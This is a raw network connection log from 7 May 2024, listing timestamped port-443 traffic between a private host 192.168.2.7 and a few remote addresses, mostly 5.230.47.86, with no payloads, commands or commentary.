May 7, 2024 20:28:49.503772974 CEST	49789	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.503774881 CEST	49788	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.503797054 CEST	443	49789	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.518739939 CEST	49780	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.518763065 CEST	443	49780	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.539016008 CEST	49792	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.539052963 CEST	443	49792	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.539381027 CEST	49792	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.539731979 CEST	49792	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.539746046 CEST	443	49792	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.541379929 CEST	49793	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.541414976 CEST	443	49793	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.542815924 CEST	49793	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.543085098 CEST	49793	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.543103933 CEST	443	49793	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.550270081 CEST	49789	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.660406113 CEST	443	49782	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.660433054 CEST	443	49782	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.660440922 CEST	443	49782	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.660459995 CEST	443	49782	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.660465956 CEST	443	49782	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.660470963 CEST	443	49782	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.660559893 CEST	49782	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.660559893 CEST	49782	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.660578966 CEST	443	49782	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.661257982 CEST	49782	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.734558105 CEST	49782	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.734584093 CEST	443	49782	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.769819975 CEST	49795	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.769876003 CEST	443	49795	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.769984961 CEST	49795	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.770724058 CEST	49795	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.770739079 CEST	443	49795	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.833631992 CEST	443	49790	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.841631889 CEST	443	49788	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.846606016 CEST	443	49790	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.846648932 CEST	49790	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.860727072 CEST	49790	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.860753059 CEST	443	49790	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.861316919 CEST	443	49788	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.861464977 CEST	49788	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.865565062 CEST	49788	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.865586042 CEST	443	49788	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.892071962 CEST	443	49792	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.894401073 CEST	443	49793	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.945663929 CEST	49792	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.946122885 CEST	49793	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.967107058 CEST	49792	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.967118025 CEST	443	49792	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.967355013 CEST	49793	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.967365980 CEST	443	49793	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.967664003 CEST	443	49792	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.967814922 CEST	443	49793	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.969336987 CEST	49792	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.969424963 CEST	443	49792	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.970078945 CEST	49793	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.970144987 CEST	443	49793	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.971111059 CEST	49792	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.971139908 CEST	443	49792	5.230.47.86	192.168.2.7
May 7, 2024 20:28:49.971344948 CEST	49793	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:49.971369982 CEST	443	49793	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.032632113 CEST	443	49789	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.032656908 CEST	443	49789	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.032665968 CEST	443	49789	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.032689095 CEST	443	49789	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.032701969 CEST	443	49789	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.032715082 CEST	443	49789	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.032726049 CEST	49789	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:50.032738924 CEST	443	49789	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.032751083 CEST	49789	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:50.032782078 CEST	49789	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:50.032785892 CEST	443	49789	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.032828093 CEST	49789	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:50.111521959 CEST	49789	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:50.111542940 CEST	443	49789	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.136445999 CEST	443	49795	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.136715889 CEST	49795	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:50.136744976 CEST	443	49795	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.137795925 CEST	443	49795	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.137855053 CEST	49795	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:50.139481068 CEST	49795	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:50.139540911 CEST	443	49795	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.139782906 CEST	49795	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:50.139790058 CEST	443	49795	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.190764904 CEST	49795	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:50.447710037 CEST	443	49793	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.452066898 CEST	443	49793	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.452122927 CEST	49793	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:50.452136993 CEST	443	49793	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.452156067 CEST	443	49793	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.452195883 CEST	49793	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:50.452644110 CEST	49793	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:50.452661991 CEST	443	49793	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.582189083 CEST	443	49787	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.582212925 CEST	443	49787	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.582227945 CEST	443	49787	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.582268953 CEST	443	49787	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.582329988 CEST	49787	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:50.582344055 CEST	443	49787	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.582391024 CEST	49787	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:50.629936934 CEST	443	49787	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.629998922 CEST	49787	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:50.705779076 CEST	443	49795	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.705804110 CEST	443	49795	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.705816031 CEST	443	49795	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.705833912 CEST	443	49795	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.705857038 CEST	49795	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:50.705871105 CEST	443	49795	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.705882072 CEST	443	49795	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.705893993 CEST	49795	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:50.705898046 CEST	443	49795	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.705919981 CEST	49795	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:50.705924988 CEST	443	49795	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.705960035 CEST	443	49795	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.705976963 CEST	49795	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:50.706001997 CEST	49795	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:50.708749056 CEST	49795	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:50.708774090 CEST	443	49795	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.747998953 CEST	443	49787	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.748071909 CEST	49787	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:50.748079062 CEST	443	49787	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.795561075 CEST	443	49787	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.795615911 CEST	49787	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:50.795622110 CEST	443	49787	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.795665026 CEST	49787	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:50.795672894 CEST	443	49787	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.795717001 CEST	49787	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:50.796426058 CEST	49787	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:50.796435118 CEST	443	49787	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.867186069 CEST	443	49792	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.867216110 CEST	443	49792	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.867283106 CEST	49792	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:50.867295027 CEST	443	49792	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.868309975 CEST	49792	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:50.868357897 CEST	443	49792	5.230.47.86	192.168.2.7
May 7, 2024 20:28:50.868464947 CEST	49792	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:56.923918009 CEST	49736	443	192.168.2.7	52.146.76.30
May 7, 2024 20:28:56.923943043 CEST	443	49736	52.146.76.30	192.168.2.7
May 7, 2024 20:28:59.144612074 CEST	49802	443	192.168.2.7	142.250.65.196
May 7, 2024 20:28:59.144675970 CEST	443	49802	142.250.65.196	192.168.2.7
May 7, 2024 20:28:59.144812107 CEST	49802	443	192.168.2.7	142.250.65.196
May 7, 2024 20:28:59.145045996 CEST	49802	443	192.168.2.7	142.250.65.196
May 7, 2024 20:28:59.145071030 CEST	443	49802	142.250.65.196	192.168.2.7
May 7, 2024 20:28:59.325834990 CEST	443	49802	142.250.65.196	192.168.2.7
May 7, 2024 20:28:59.326201916 CEST	49802	443	192.168.2.7	142.250.65.196
May 7, 2024 20:28:59.326239109 CEST	443	49802	142.250.65.196	192.168.2.7
May 7, 2024 20:28:59.326581955 CEST	443	49802	142.250.65.196	192.168.2.7
May 7, 2024 20:28:59.327011108 CEST	49802	443	192.168.2.7	142.250.65.196
May 7, 2024 20:28:59.327088118 CEST	443	49802	142.250.65.196	192.168.2.7
May 7, 2024 20:28:59.393223047 CEST	49802	443	192.168.2.7	142.250.65.196
May 7, 2024 20:29:01.054886103 CEST	49803	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:01.054928064 CEST	443	49803	5.230.47.86	192.168.2.7
May 7, 2024 20:29:01.054997921 CEST	49803	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:01.063676119 CEST	49803	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:01.063699961 CEST	443	49803	5.230.47.86	192.168.2.7
May 7, 2024 20:29:01.076790094 CEST	49804	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:01.076837063 CEST	443	49804	5.230.47.86	192.168.2.7
May 7, 2024 20:29:01.076951027 CEST	49804	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:01.077267885 CEST	49804	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:01.077274084 CEST	443	49804	5.230.47.86	192.168.2.7
May 7, 2024 20:29:01.077905893 CEST	49805	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:01.077949047 CEST	443	49805	5.230.47.86	192.168.2.7
May 7, 2024 20:29:01.078063965 CEST	49805	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:01.078334093 CEST	49805	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:01.078346968 CEST	443	49805	5.230.47.86	192.168.2.7
May 7, 2024 20:29:01.415657043 CEST	443	49803	5.230.47.86	192.168.2.7
May 7, 2024 20:29:01.431720972 CEST	443	49804	5.230.47.86	192.168.2.7
May 7, 2024 20:29:01.434133053 CEST	443	49805	5.230.47.86	192.168.2.7
May 7, 2024 20:29:01.486296892 CEST	49803	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:01.486319065 CEST	49804	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:01.486319065 CEST	49805	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:01.771450996 CEST	49803	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:01.771476984 CEST	443	49803	5.230.47.86	192.168.2.7
May 7, 2024 20:29:01.771687984 CEST	49804	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:01.771723986 CEST	443	49804	5.230.47.86	192.168.2.7
May 7, 2024 20:29:01.771864891 CEST	49805	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:01.771905899 CEST	443	49805	5.230.47.86	192.168.2.7
May 7, 2024 20:29:01.772041082 CEST	443	49803	5.230.47.86	192.168.2.7
May 7, 2024 20:29:01.772196054 CEST	443	49804	5.230.47.86	192.168.2.7
May 7, 2024 20:29:01.773004055 CEST	49803	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:01.773056984 CEST	443	49805	5.230.47.86	192.168.2.7
May 7, 2024 20:29:01.773070097 CEST	443	49805	5.230.47.86	192.168.2.7
May 7, 2024 20:29:01.773088932 CEST	443	49803	5.230.47.86	192.168.2.7
May 7, 2024 20:29:01.773113012 CEST	49805	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:01.773586988 CEST	49804	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:01.773679018 CEST	443	49804	5.230.47.86	192.168.2.7
May 7, 2024 20:29:01.774211884 CEST	49805	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:01.774276018 CEST	443	49805	5.230.47.86	192.168.2.7
May 7, 2024 20:29:01.774662018 CEST	49803	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:01.774691105 CEST	443	49803	5.230.47.86	192.168.2.7
May 7, 2024 20:29:01.774873972 CEST	49804	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:01.774904966 CEST	443	49804	5.230.47.86	192.168.2.7
May 7, 2024 20:29:01.775065899 CEST	49805	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:01.775079012 CEST	443	49805	5.230.47.86	192.168.2.7
May 7, 2024 20:29:01.984127998 CEST	443	49805	5.230.47.86	192.168.2.7
May 7, 2024 20:29:01.984199047 CEST	49805	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:02.619496107 CEST	443	49803	5.230.47.86	192.168.2.7
May 7, 2024 20:29:02.619616032 CEST	443	49803	5.230.47.86	192.168.2.7
May 7, 2024 20:29:02.619668961 CEST	49803	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:02.619687080 CEST	443	49803	5.230.47.86	192.168.2.7
May 7, 2024 20:29:02.619699955 CEST	443	49803	5.230.47.86	192.168.2.7
May 7, 2024 20:29:02.619798899 CEST	49803	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:02.631448030 CEST	443	49805	5.230.47.86	192.168.2.7
May 7, 2024 20:29:02.631473064 CEST	443	49805	5.230.47.86	192.168.2.7
May 7, 2024 20:29:02.631551027 CEST	49805	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:02.631580114 CEST	443	49805	5.230.47.86	192.168.2.7
May 7, 2024 20:29:02.631704092 CEST	49805	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:02.642708063 CEST	49803	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:02.642741919 CEST	443	49803	5.230.47.86	192.168.2.7
May 7, 2024 20:29:02.642776966 CEST	443	49804	5.230.47.86	192.168.2.7
May 7, 2024 20:29:02.642800093 CEST	443	49804	5.230.47.86	192.168.2.7
May 7, 2024 20:29:02.642863989 CEST	49804	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:02.642885923 CEST	443	49804	5.230.47.86	192.168.2.7
May 7, 2024 20:29:02.662509918 CEST	443	49805	5.230.47.86	192.168.2.7
May 7, 2024 20:29:02.662642956 CEST	443	49805	5.230.47.86	192.168.2.7
May 7, 2024 20:29:02.662748098 CEST	49805	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:02.670233011 CEST	49805	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:02.670247078 CEST	443	49805	5.230.47.86	192.168.2.7
May 7, 2024 20:29:02.670267105 CEST	49805	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:02.670331955 CEST	49805	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:02.675415993 CEST	443	49804	5.230.47.86	192.168.2.7
May 7, 2024 20:29:02.675477982 CEST	49804	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:02.714603901 CEST	49804	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:02.714617014 CEST	443	49804	5.230.47.86	192.168.2.7
May 7, 2024 20:29:02.714626074 CEST	49804	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:02.717603922 CEST	49804	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:03.073538065 CEST	49806	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:03.073576927 CEST	443	49806	5.230.47.86	192.168.2.7
May 7, 2024 20:29:03.073641062 CEST	49806	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:03.073913097 CEST	49806	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:03.073926926 CEST	443	49806	5.230.47.86	192.168.2.7
May 7, 2024 20:29:03.074955940 CEST	49807	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:03.074987888 CEST	443	49807	5.230.47.86	192.168.2.7
May 7, 2024 20:29:03.075042963 CEST	49807	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:03.075321913 CEST	49807	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:03.075335979 CEST	443	49807	5.230.47.86	192.168.2.7
May 7, 2024 20:29:03.415664911 CEST	443	49807	5.230.47.86	192.168.2.7
May 7, 2024 20:29:03.419219017 CEST	49807	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:03.419249058 CEST	443	49807	5.230.47.86	192.168.2.7
May 7, 2024 20:29:03.419617891 CEST	443	49807	5.230.47.86	192.168.2.7
May 7, 2024 20:29:03.421560049 CEST	49807	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:03.421638966 CEST	443	49807	5.230.47.86	192.168.2.7
May 7, 2024 20:29:03.421952009 CEST	49807	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:03.421987057 CEST	443	49807	5.230.47.86	192.168.2.7
May 7, 2024 20:29:03.424566031 CEST	443	49806	5.230.47.86	192.168.2.7
May 7, 2024 20:29:03.425569057 CEST	49806	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:03.425585032 CEST	443	49806	5.230.47.86	192.168.2.7
May 7, 2024 20:29:03.425930977 CEST	443	49806	5.230.47.86	192.168.2.7
May 7, 2024 20:29:03.426362038 CEST	49806	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:03.426420927 CEST	443	49806	5.230.47.86	192.168.2.7
May 7, 2024 20:29:03.426831961 CEST	49806	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:03.426855087 CEST	443	49806	5.230.47.86	192.168.2.7
May 7, 2024 20:29:03.526577950 CEST	49808	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:03.526619911 CEST	443	49808	5.230.47.86	192.168.2.7
May 7, 2024 20:29:03.526690006 CEST	49808	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:03.526882887 CEST	49808	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:03.526895046 CEST	443	49808	5.230.47.86	192.168.2.7
May 7, 2024 20:29:03.529930115 CEST	49809	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:03.529964924 CEST	443	49809	5.230.47.86	192.168.2.7
May 7, 2024 20:29:03.530067921 CEST	49809	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:03.530249119 CEST	49809	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:03.530255079 CEST	443	49809	5.230.47.86	192.168.2.7
May 7, 2024 20:29:03.877496004 CEST	443	49808	5.230.47.86	192.168.2.7
May 7, 2024 20:29:03.880201101 CEST	443	49809	5.230.47.86	192.168.2.7
May 7, 2024 20:29:03.891527891 CEST	49808	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:03.891555071 CEST	443	49808	5.230.47.86	192.168.2.7
May 7, 2024 20:29:03.892039061 CEST	49809	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:03.892057896 CEST	443	49809	5.230.47.86	192.168.2.7
May 7, 2024 20:29:03.892097950 CEST	443	49808	5.230.47.86	192.168.2.7
May 7, 2024 20:29:03.892534018 CEST	443	49809	5.230.47.86	192.168.2.7
May 7, 2024 20:29:03.898436069 CEST	49808	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:03.898559093 CEST	443	49808	5.230.47.86	192.168.2.7
May 7, 2024 20:29:03.898765087 CEST	49809	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:03.898875952 CEST	443	49809	5.230.47.86	192.168.2.7
May 7, 2024 20:29:03.898941994 CEST	49808	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:03.898973942 CEST	443	49808	5.230.47.86	192.168.2.7
May 7, 2024 20:29:03.899017096 CEST	49809	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:03.899041891 CEST	443	49809	5.230.47.86	192.168.2.7
May 7, 2024 20:29:03.968077898 CEST	443	49807	5.230.47.86	192.168.2.7
May 7, 2024 20:29:03.974138021 CEST	443	49807	5.230.47.86	192.168.2.7
May 7, 2024 20:29:03.974809885 CEST	49807	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:04.082406044 CEST	49807	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:04.082427025 CEST	443	49807	5.230.47.86	192.168.2.7
May 7, 2024 20:29:04.146981955 CEST	49810	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:04.147022963 CEST	443	49810	5.230.47.86	192.168.2.7
May 7, 2024 20:29:04.147381067 CEST	49810	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:04.147610903 CEST	49810	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:04.147628069 CEST	443	49810	5.230.47.86	192.168.2.7
May 7, 2024 20:29:04.260276079 CEST	443	49808	5.230.47.86	192.168.2.7
May 7, 2024 20:29:04.260301113 CEST	443	49808	5.230.47.86	192.168.2.7
May 7, 2024 20:29:04.260368109 CEST	49808	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:04.260396004 CEST	443	49808	5.230.47.86	192.168.2.7
May 7, 2024 20:29:04.260613918 CEST	49808	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:04.261428118 CEST	49808	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:04.261468887 CEST	443	49808	5.230.47.86	192.168.2.7
May 7, 2024 20:29:04.261519909 CEST	49808	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:04.432281971 CEST	443	49806	5.230.47.86	192.168.2.7
May 7, 2024 20:29:04.448272943 CEST	443	49806	5.230.47.86	192.168.2.7
May 7, 2024 20:29:04.448343039 CEST	49806	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:04.448693037 CEST	49806	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:04.448713064 CEST	443	49806	5.230.47.86	192.168.2.7
May 7, 2024 20:29:04.471295118 CEST	49811	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:04.471333027 CEST	443	49811	5.230.47.86	192.168.2.7
May 7, 2024 20:29:04.471390009 CEST	49811	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:04.471712112 CEST	49811	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:04.471726894 CEST	443	49811	5.230.47.86	192.168.2.7
May 7, 2024 20:29:04.494153976 CEST	443	49810	5.230.47.86	192.168.2.7
May 7, 2024 20:29:04.494364977 CEST	49810	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:04.494398117 CEST	443	49810	5.230.47.86	192.168.2.7
May 7, 2024 20:29:04.494771957 CEST	443	49810	5.230.47.86	192.168.2.7
May 7, 2024 20:29:04.495146990 CEST	49810	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:04.495215893 CEST	443	49810	5.230.47.86	192.168.2.7
May 7, 2024 20:29:04.495313883 CEST	49810	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:04.495359898 CEST	443	49810	5.230.47.86	192.168.2.7
May 7, 2024 20:29:04.814559937 CEST	443	49811	5.230.47.86	192.168.2.7
May 7, 2024 20:29:04.814877987 CEST	49811	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:04.814904928 CEST	443	49811	5.230.47.86	192.168.2.7
May 7, 2024 20:29:04.815999985 CEST	443	49811	5.230.47.86	192.168.2.7
May 7, 2024 20:29:04.816061974 CEST	49811	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:04.816395044 CEST	49811	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:04.816463947 CEST	443	49811	5.230.47.86	192.168.2.7
May 7, 2024 20:29:04.816646099 CEST	49811	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:04.816654921 CEST	443	49811	5.230.47.86	192.168.2.7
May 7, 2024 20:29:04.888761997 CEST	443	49809	5.230.47.86	192.168.2.7
May 7, 2024 20:29:04.888784885 CEST	443	49809	5.230.47.86	192.168.2.7
May 7, 2024 20:29:04.888834953 CEST	49809	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:04.888853073 CEST	443	49809	5.230.47.86	192.168.2.7
May 7, 2024 20:29:04.892195940 CEST	49809	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:04.892237902 CEST	443	49809	5.230.47.86	192.168.2.7
May 7, 2024 20:29:04.892381907 CEST	443	49809	5.230.47.86	192.168.2.7
May 7, 2024 20:29:04.892433882 CEST	49809	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:04.892448902 CEST	49809	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:04.986569881 CEST	49811	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:05.194708109 CEST	443	49811	5.230.47.86	192.168.2.7
May 7, 2024 20:29:05.203135014 CEST	443	49811	5.230.47.86	192.168.2.7
May 7, 2024 20:29:05.203197002 CEST	49811	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:05.203448057 CEST	49811	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:05.203465939 CEST	443	49811	5.230.47.86	192.168.2.7
May 7, 2024 20:29:05.489847898 CEST	443	49810	5.230.47.86	192.168.2.7
May 7, 2024 20:29:05.495661974 CEST	443	49810	5.230.47.86	192.168.2.7
May 7, 2024 20:29:05.495714903 CEST	49810	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:05.496459961 CEST	49810	443	192.168.2.7	5.230.47.86
May 7, 2024 20:29:05.496475935 CEST	443	49810	5.230.47.86	192.168.2.7
May 7, 2024 20:29:09.329313040 CEST	443	49802	142.250.65.196	192.168.2.7
May 7, 2024 20:29:09.329385042 CEST	443	49802	142.250.65.196	192.168.2.7
May 7, 2024 20:29:09.329436064 CEST	49802	443	192.168.2.7	142.250.65.196
May 7, 2024 20:29:09.464730978 CEST	49802	443	192.168.2.7	142.250.65.196
May 7, 2024 20:29:09.464767933 CEST	443	49802	142.250.65.196	192.168.2.7
